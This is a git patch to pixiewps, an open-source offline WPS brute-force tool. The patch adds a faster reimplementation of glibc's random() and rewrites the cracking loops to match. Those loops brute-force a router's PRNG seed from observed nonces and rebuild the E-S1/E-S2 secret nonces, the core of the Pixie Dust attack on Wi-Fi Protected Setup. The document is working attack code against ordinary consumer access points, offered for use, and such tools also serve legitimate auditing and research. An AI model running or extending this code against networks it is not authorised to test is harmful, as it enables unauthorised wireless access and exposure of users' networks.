From ceea7143cb5747eb4399173948049e0a8bda7f81 Mon Sep 17 00:00:00 2001 From: wiire-a Date: Wed, 15 Nov 2017 19:14:28 +0100 Subject: [PATCH] Implemented faster glibc random function The glibc random function has been rewritten is a simpler manner which should make it faster to execute. Possibly up to a x2 increase in speed. --- src/glibc_random.c | 68 ++++++++++++++++++++++++++ src/{random_r.c => glibc_random_old.c} | 0 src/pixiewps.c | 45 +++++++---------- 3 files changed, 86 insertions(+), 27 deletions(-) create mode 100644 src/glibc_random.c rename src/{random_r.c => glibc_random_old.c} (100%) diff --git a/src/glibc_random.c b/src/glibc_random.c new file mode 100644 index 0000000..aeb5be0 --- /dev/null +++ b/src/glibc_random.c @@ -0,0 +1,68 @@ +/* + * pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs + * + * Copyright (c) 2015-2017, wiire + * SPDX-License-Identifier: GPL-3.0+ + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#define GLIBC_PRNG_SIZE 344 +#define GLIBC_FAST_MAX_GEN 3 + +#if GLIBC_MAX_GEN < GLIBC_FAST_MAX_GEN + #error "GLIBC_MAX_GEN must be >= GLIBC_FAST_MAX_GEN" +#endif + +/* + * The +1 is used to keep the index inside the array after the increment, + * it doesn't really have a purpose besides that + */ +struct glibc_prng { + int index; + int state[GLIBC_PRNG_SIZE + GLIBC_MAX_GEN - GLIBC_FAST_MAX_GEN + 1]; +}; + +/* + * If only 3 numbers are generated then there's no need to store new values + */ +unsigned int glibc_rand_fast(struct glibc_prng *prng) +{ + const int *state = prng->state; + const int i = prng->index++; + return ((unsigned int)(state[i - 31] + state[i - 3])) >> 1; +} + +/* + * There are no checks of bounds (GLIBC_MAX_GEN is the maximum number of times it can be called) + */ +unsigned int glibc_rand(struct glibc_prng *prng) +{ + int *state = prng->state; + const int i = prng->index++; + state[i] = state[i - 31] + state[i - 3]; + return (unsigned int)state[i] >> 1; +} + +void glibc_seed(struct glibc_prng *prng, int seed) +{ + int i; + int *state = prng->state; + prng->index = GLIBC_PRNG_SIZE; + state[0] = seed; + for (i = 1; i < 31; i++) { + state[i] = (16807LL * state[i - 1]) % 2147483647; + if (state[i] < 0) + state[i] += 2147483647; + } + for (i = 31; i < 34; i++) state[i] = state[i - 31]; + for (i = 34; i < 344; i++) state[i] = state[i - 31] + state[i - 3]; +} diff --git a/src/random_r.c b/src/glibc_random_old.c similarity index 100% rename from src/random_r.c rename to src/glibc_random_old.c diff --git a/src/pixiewps.c b/src/pixiewps.c index bff0dd7..c8ecdf1 100644 --- a/src/pixiewps.c +++ b/src/pixiewps.c @@ -39,9 +39,11 @@ #include "crypto/aes-cbc.c" #include "utils.h" #include "wps.h" -#include "random_r.c" #include "version.h" +#define GLIBC_MAX_GEN 4 +#include "glibc_random.c" + uint32_t ecos_rand_simplest(uint32_t *seed); uint32_t ecos_rand_simple(uint32_t *seed); uint32_t ecos_rand_knuth(uint32_t *seed); @@ -90,25 +92,21 @@ static struct job_control { } job_control; static void *crack_thread(void *arg) { + struct glibc_prng glibc_prng; struct crack_job *j = arg; - struct m_random_data buf = {0}; - char rand_statebuf[128] = {0}; - uint32_t seed = j->start; uint32_t limit = job_control.end; - m_initstate_r(seed, rand_statebuf, &buf); - int32_t res = 0; while (!job_control.nonce_seed) { - m_srandom_r(seed, &buf); unsigned int i; - for (i = 0; i < 4; i++) { - m_random_r(&buf, &res); - if ((uint32_t) res != job_control.randr_enonce[i]) + glibc_seed(&glibc_prng, seed); + for (i = 0; i < GLIBC_FAST_MAX_GEN; i++) { + const unsigned int res = glibc_rand_fast(&glibc_prng); + if (res != job_control.randr_enonce[i]) break; } - if (i == 4) { + if (i == GLIBC_FAST_MAX_GEN) { job_control.nonce_seed = seed; DEBUG_PRINT("Seed found %u", seed); } @@ -893,9 +891,7 @@ usage_err: nonce_seed = collect_crack_jobs(); - struct m_random_data *buf = calloc(1, sizeof(struct m_random_data)); - char *rand_statebuf = calloc(1, 128); - m_initstate_r(nonce_seed, rand_statebuf, buf); + struct glibc_prng glibc_prng; if (nonce_seed) { /* Seed found */ int32_t res; @@ -906,11 +902,10 @@ usage_err: do { i++; - m_srandom_r(nonce_seed + i, buf); - for (uint_fast8_t j = 0; j < 4; j++) { - m_random_r(buf, &res); - uint32_t be = h32_to_be(res); - memcpy(&(wps->e_s1[4 * j]), &be, 4); + glibc_seed(&glibc_prng, nonce_seed + i); + for (uint_fast8_t j = 0; j < GLIBC_MAX_GEN; j++) { + uint32_t be = h32_to_be(glibc_rand(&glibc_prng)); + memcpy(&(wps->e_s1[4 * j]), &be, sizeof(uint32_t)); memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = E-S2 != E-Nonce */ } s1_seed = nonce_seed + i; @@ -959,11 +954,10 @@ usage_err: i = 0; do { i++; - m_srandom_r(nonce_seed - i, buf); - for (uint_fast8_t j = 0; j < 4; j++) { - m_random_r(buf, &res); - uint32_t be = h32_to_be(res); - memcpy(&(wps->e_s1[4 * j]), &be, 4); + glibc_seed(&glibc_prng, nonce_seed - i); + for (uint_fast8_t j = 0; j < GLIBC_MAX_GEN; j++) { + uint32_t be = h32_to_be(glibc_rand(&glibc_prng)); + memcpy(&(wps->e_s1[4 * j]), &be, sizeof(uint32_t)); memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = E-S2 != E-Nonce */ } s1_seed = nonce_seed - i; @@ -1016,9 +1010,6 @@ usage_err: snprintf(wps->warning, 256, " [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.\n\n"); } } - - free(buf); - free(rand_statebuf); } } }